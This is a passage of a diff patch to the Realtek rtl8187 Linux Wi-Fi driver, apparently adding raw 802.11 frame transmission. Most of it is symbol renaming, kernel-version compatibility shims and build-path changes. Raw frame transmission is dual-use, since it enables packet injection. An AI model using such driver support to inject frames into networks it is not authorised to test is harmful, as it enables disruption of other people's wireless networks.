rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.c 2008-08-12 13:11:33.000000000 -0400 @@ -24,15 +24,14 @@ ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -155,7 +160,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +183,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +230,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +240,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +272,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -299,27 +304,27 @@ } if(likely(ieee->raw_tx == 0)){ - + if (unlikely(skb->len < SNAP_SIZE + sizeof(u16))) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - + + ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto); - + crypt = ieee->crypt[ieee->tx_keyidx]; - + encrypt = !(ether_type == ETH_P_PAE && ieee->ieee802_1x) && ieee->host_encrypt && crypt && crypt->ops; - + if (!encrypt && ieee->ieee802_1x && ieee->drop_unencrypted && ether_type != ETH_P_PAE) { stats->tx_dropped++; goto success; } - + #ifdef CONFIG_IEEE80211_DEBUG if (crypt && !encrypt && ether_type == ETH_P_PAE) { struct eapol *eap = (struct eapol *)(skb->data + @@ -328,23 +333,23 @@ eap_get_type(eap->type)); } #endif - + /* Save source and destination addresses */ memcpy(&dest, skb->data, ETH_ALEN); memcpy(&src, skb->data+ETH_ALEN, ETH_ALEN); - + /* Advance the SKB to the start of the payload */ skb_pull(skb, sizeof(struct ethhdr)); - + /* Determine total amount of storage required for TXB packets */ bytes = skb->len + SNAP_SIZE + sizeof(u16); - + if (encrypt) fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA | IEEE80211_FCTL_WEP; else fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA; - + if (ieee->iw_mode == IW_MODE_INFRA) { fc |= IEEE80211_FCTL_TODS; /* To DS: Addr1 = BSSID, Addr2 = SA, @@ -360,9 +365,9 @@ memcpy(&header.addr3, ieee->current_network.bssid, ETH_ALEN); } header.frame_ctl = cpu_to_le16(fc); - + hdr_len = IEEE80211_3ADDR_LEN; - + /* Determine fragmentation size based on destination (multicast * and broadcast are not fragmented) */ if (is_multicast_ether_addr(dest) || @@ -370,7 +375,7 @@ frag_size = MAX_FRAG_THRESHOLD; else frag_size = ieee->fts; - + /* Determine amount of payload per fragment. Regardless of if * this stack is providing the full 802.11 header, one will * eventually be affixed to this fragment -- so we must account for @@ -379,12 +384,12 @@ if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) bytes_per_frag -= IEEE80211_FCS_LEN; - + /* Each fragment may need to have room for encryptiong pre/postfix */ if (encrypt) bytes_per_frag -= crypt->ops->extra_prefix_len + crypt->ops->extra_postfix_len; - + /* Number of fragments is the total bytes_per_frag / * payload_per_fragment */ nr_frags = bytes / bytes_per_frag; @@ -393,11 +398,11 @@ nr_frags++; else bytes_last_frag = bytes_per_frag; - + /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -405,93 +410,94 @@ } txb->encrypted = encrypt; txb->payload_size = bytes; - + for (i = 0; i < nr_frags; i++) { skb_frag = txb->fragments[i]; - + if (encrypt) skb_reserve(skb_frag, crypt->ops->extra_prefix_len); - + frag_hdr = (struct ieee80211_hdr *)skb_put(skb_frag, hdr_len); memcpy(frag_hdr, &header, hdr_len); - + /* If this is not the last fragment, then add the MOREFRAGS * bit to the frame control */ if (i != nr_frags - 1) { frag_hdr->frame_ctl = cpu_to_le16( fc | IEEE80211_FCTL_MOREFRAGS); bytes = bytes_per_frag; - + } else { /* The last fragment takes the remaining length */ bytes = bytes_last_frag; } - + frag_hdr->seq_ctl = cpu_to_le16(ieee->seq_ctrl<<4 | i); - - + + /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); } - + memcpy(skb_put(skb_frag, bytes), skb->data, bytes); - + /* Advance the SKB... */ skb_pull(skb, bytes); - + /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); } - // Advance sequence number in data frame. + // Advance sequence number in data frame. if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); goto failed; } - + txb->encrypted = 0; txb->payload_size = skb->len; memcpy(skb_put(txb->fragments[0],skb->len), skb->data, skb->len); - } + } success: spin_unlock_irqrestore(&ieee->lock, flags); dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } - - + + } return 0; @@ -504,4 +510,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.c --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_wx.c 2006-06-05 22:57:56.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.c 2008-08-12 14:23:46.000000000 -0400 @@ -40,8 +40,9 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, - char *start, char *stop, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, + char *start, char *stop, struct ieee80211_network *network) { char custom[MAX_CUSTOM_LEN]; @@ -54,7 +55,11 @@ iwe.cmd = SIOCGIWAP; iwe.u.ap_addr.sa_family = ARPHRD_ETHER; memcpy(iwe.u.ap_addr.sa_data, network->bssid, ETH_ALEN); +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_event(info, start, stop, &iwe, IW_EV_ADDR_LEN); +#else start = iwe_stream_add_event(start, stop, &iwe, IW_EV_ADDR_LEN); +#endif /* Remaining entries will be displayed in the order we provide them */ @@ -63,16 +68,28 @@ iwe.u.data.flags = 1; if (network->flags & NETWORK_EMPTY_ESSID) { iwe.u.data.length = sizeof(""); +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, ""); +#else start = iwe_stream_add_point(start, stop, &iwe, ""); +#endif } else { iwe.u.data.length = min(network->ssid_len, (u8)32); +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, network->ssid); +#else start = iwe_stream_add_point(start, stop, &iwe, network->ssid); +#endif } /* Add the protocol name */ iwe.cmd = SIOCGIWNAME; snprintf(iwe.u.name, IFNAMSIZ, "IEEE 802.11%s", ieee80211_modes[network->mode]); +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_event(info, start, stop, &iwe, IW_EV_CHAR_LEN); +#else start = iwe_stream_add_event(start, stop, &iwe, IW_EV_CHAR_LEN); +#endif /* Add mode */ iwe.cmd = SIOCGIWMODE; @@ -83,8 +100,13 @@ else iwe.u.mode = IW_MODE_ADHOC; +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_event(info, start, stop, &iwe, + IW_EV_UINT_LEN); +#else start = iwe_stream_add_event(start, stop, &iwe, IW_EV_UINT_LEN); +#endif } /* Add frequency/channel */ @@ -94,7 +116,11 @@ iwe.u.freq.m = network->channel; iwe.u.freq.e = 0; iwe.u.freq.i = 0; +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_event(info, start, stop, &iwe, IW_EV_FREQ_LEN); +#else start = iwe_stream_add_event(start, stop, &iwe, IW_EV_FREQ_LEN); +#endif /* Add encryption capability */ iwe.cmd = SIOCGIWENCODE; @@ -103,7 +129,11 @@ else iwe.u.data.flags = IW_ENCODE_DISABLED; iwe.u.data.length = 0; +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, network->ssid); +#else start = iwe_stream_add_point(start, stop, &iwe, network->ssid); +#endif /* Add basic and extended rates */ max_rate = 0; @@ -132,13 +162,22 @@ iwe.cmd = SIOCGIWRATE; iwe.u.bitrate.fixed = iwe.u.bitrate.disabled = 0; iwe.u.bitrate.value = max_rate * 500000; +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_event(info, start, stop, &iwe, + IW_EV_PARAM_LEN); +#else start = iwe_stream_add_event(start, stop, &iwe, IW_EV_PARAM_LEN); +#endif iwe.cmd = IWEVCUSTOM; iwe.u.data.length = p - custom; if (iwe.u.data.length) +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, custom); +#else start = iwe_stream_add_point(start, stop, &iwe, custom); +#endif /* Add quality statistics */ /* TODO: Fix these values... */ @@ -154,14 +193,22 @@ if (!(network->stats.mask & IEEE80211_STATMASK_SIGNAL)) iwe.u.qual.updated |= IW_QUAL_QUAL_INVALID; +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_event(info, start, stop, &iwe, IW_EV_QUAL_LEN); +#else start = iwe_stream_add_event(start, stop, &iwe, IW_EV_QUAL_LEN); +#endif iwe.cmd = IWEVCUSTOM; p = custom; iwe.u.data.length = p - custom; if (iwe.u.data.length) +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, custom); +#else start = iwe_stream_add_point(start, stop, &iwe, custom); +#endif if (ieee->wpa_enabled && network->wpa_ie_len){ char buf[MAX_WPA_IE_LEN * 2 + 30]; @@ -175,7 +222,12 @@ memset(&iwe, 0, sizeof(iwe)); iwe.cmd = IWEVCUSTOM; iwe.u.data.length = strlen(buf); +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, buf); +#else start = iwe_stream_add_point(start, stop, &iwe, buf); +#endif + } if (ieee->wpa_enabled && network->rsn_ie_len){ @@ -190,7 +242,11 @@ memset(&iwe, 0, sizeof(iwe)); iwe.cmd = IWEVCUSTOM; iwe.u.data.length = strlen(buf); +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, buf); +#else start = iwe_stream_add_point(start, stop, &iwe, buf); +#endif } /* Add EXTRA: Age to display seconds since last beacon/probe response @@ -201,13 +257,17 @@ " Last beacon: %lums ago", (jiffies - network->last_scanned) / (HZ / 100)); iwe.u.data.length = p - custom; if (iwe.u.data.length) +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, custom); +#else start = iwe_stream_add_point(start, stop, &iwe, custom); +#endif return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +280,15 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, info, ev, +stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +309,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -259,6 +321,9 @@ int i, key, key_provided, len; struct ieee80211_crypt_data **crypt; + if (erq->flags & IW_ENCODE_RESTRICTED) + return -EINVAL; + IEEE80211_DEBUG_WX("SET_ENCODE\n"); key = erq->flags & IW_ENCODE_INDEX; @@ -281,7 +346,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +356,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +379,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +391,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { - request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + request_module("ieee80211_crypt_wep_rtl"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -340,7 +405,7 @@ new_crypt = NULL; printk(KERN_WARNING "%s: could not initialize WEP: " - "load module ieee80211_crypt_wep\n", + "load module ieee80211_crypt_wep_rtl\n", dev->name); return -EOPNOTSUPP; } @@ -418,7 +483,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -430,7 +495,7 @@ if(ieee->iw_mode == IW_MODE_MONITOR) return -1; - + key = erq->flags & IW_ENCODE_INDEX; if (key) { if (key > WEP_KEYS) @@ -470,6 +535,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Makefile --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/Makefile 2006-06-05 22:57:54.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Makefile 2008-08-12 13:11:33.000000000 -0400 @@ -17,6 +17,7 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) all: modules diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/Modules.symvers rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Modules.symvers --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/Modules.symvers 2006-06-05 22:57:56.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Modules.symvers 1969-12-31 19:00:00.000000000 -0500 @@ -1,43 +0,0 @@ -0x232e7944 ieee80211_wlan_frequencies /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xaeae102f free_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x279e265f ieee80211_crypt_deinit_handler net/ieee80211/ieee80211_crypt -0xc2411d91 ieee80211_stop_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6ece20e1 ieee80211_wx_get_name_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x5d3847ff ieee80211_rx_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x18612027 ieee80211_wx_get_scan_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xa0e03ce1 ieee80211_wx_get_name /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xee25f349 ieee80211_wx_get_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x86013c3d ieee80211_wx_set_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x04493cc0 ieee80211_wx_get_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6c6df3b4 ieee80211_wx_set_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x82caec02 ieee80211_crypt_deinit_entries net/ieee80211/ieee80211_crypt -0x347945bf ieee80211_wx_get_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6379d455 ieee80211_wx_set_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xae62ed59 ieee80211_wx_set_scan /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6621e172 ieee80211_wx_set_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x0e052e06 ieee80211_wx_get_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x283f9f5d ieee80211_unregister_crypto_ops net/ieee80211/ieee80211_crypt -0x9da79aac ieee80211_is_shortslot /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x666032dc ieee80211_wx_get_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9f1cbe0e ieee80211_wx_set_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x73d1d341 ieee80211_wx_set_rawtx /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2c714184 ieee80211_is_54g /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6892d598 ieee80211_wpa_supplicant_ioctl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc062f1f5 ieee80211_ps_tx_ack /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x55534906 ieee80211_get_beacon /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xe2679638 ieee80211_crypt_delayed_deinit net/ieee80211/ieee80211_crypt -0x3a0456bc free_ieee80211 net/ieee80211/ieee80211 -0x7e1ef2c8 ieee80211_wake_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc1b81e9f ieee80211_register_crypto_ops net/ieee80211/ieee80211_crypt -0x3f795a39 alloc_ieee80211 net/ieee80211/ieee80211 -0x89803c23 ieee80211_get_crypto_ops net/ieee80211/ieee80211_crypt -0xc6caf2a4 ieee80211_txb_free net/ieee80211/ieee80211 -0x49c1422c ieee80211_rx_mgt net/ieee80211/ieee80211 -0xbf2b4ebd alloc_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0xd155f7b8 ieee80211_softmac_stop_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9ce2dcde ieee80211_softmac_start_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x00d74bba ieee80211_wx_get_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x92b5d996 ieee80211_wx_set_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2ac9bf95 ieee80211_wx_set_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x7dc92e7f ieee80211_wx_get_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xd04740ca ieee80211_reset_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod 2006-06-05 22:57:54.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod 2008-08-12 13:11:33.000000000 -0400 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_ccmp-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_ccmp.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.o diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod 2006-06-05 22:57:54.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod 2008-08-12 13:11:33.000000000 -0400 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.o diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod 2006-06-05 22:57:54.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod 2008-08-12 13:11:33.000000000 -0400 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_tkip-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_tkip.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.o diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod 2006-06-05 22:57:54.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod 2008-08-12 13:11:33.000000000 -0400 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_wep-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_wep.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.o diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/.tmp_versions/ieee80211-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211-rtl.mod --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/.tmp_versions/ieee80211-rtl.mod 2006-06-05 22:57:54.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211-rtl.mod 2008-08-12 13:11:33.000000000 -0400 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_softmac.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_rx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_tx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_wx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_module.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_softmac_wx.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.o diff -Naur rtl8187_linux_26.1010.0622.2006_orig/makedrv~ rtl8187_linux_26.1010.0622.2006_rawtx/makedrv~ --- rtl8187_linux_26.1010.0622.2006_orig/makedrv~ 2006-09-05 07:21:10.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/makedrv~ 1969-12-31 19:00:00.000000000 -0500 @@ -1,13 +0,0 @@ -#!/bin/sh - -#tar -zxvf stack.tar.gz -#tar -zxvf drv.tar.gz -cd ieee80211 -make clean -make -cd ../beta-8187 -make clean -make -cd .. - - diff -Naur rtl8187_linux_26.1010.0622.2006_orig/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/Makefile --- rtl8187_linux_26.1010.0622.2006_orig/Makefile 1969-12-31 19:00:00.000000000 -0500 +++ rtl8187_linux_26.1010.0622.2006_rawtx/Makefile 2008-08-12 13:11:33.000000000 -0400 @@ -0,0 +1,38 @@ +prefix = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless +r8187dir = $(prefix)/rtl8187 +ieeedir = $(prefix)/rtl_ieee80211 + +default: all + +all: 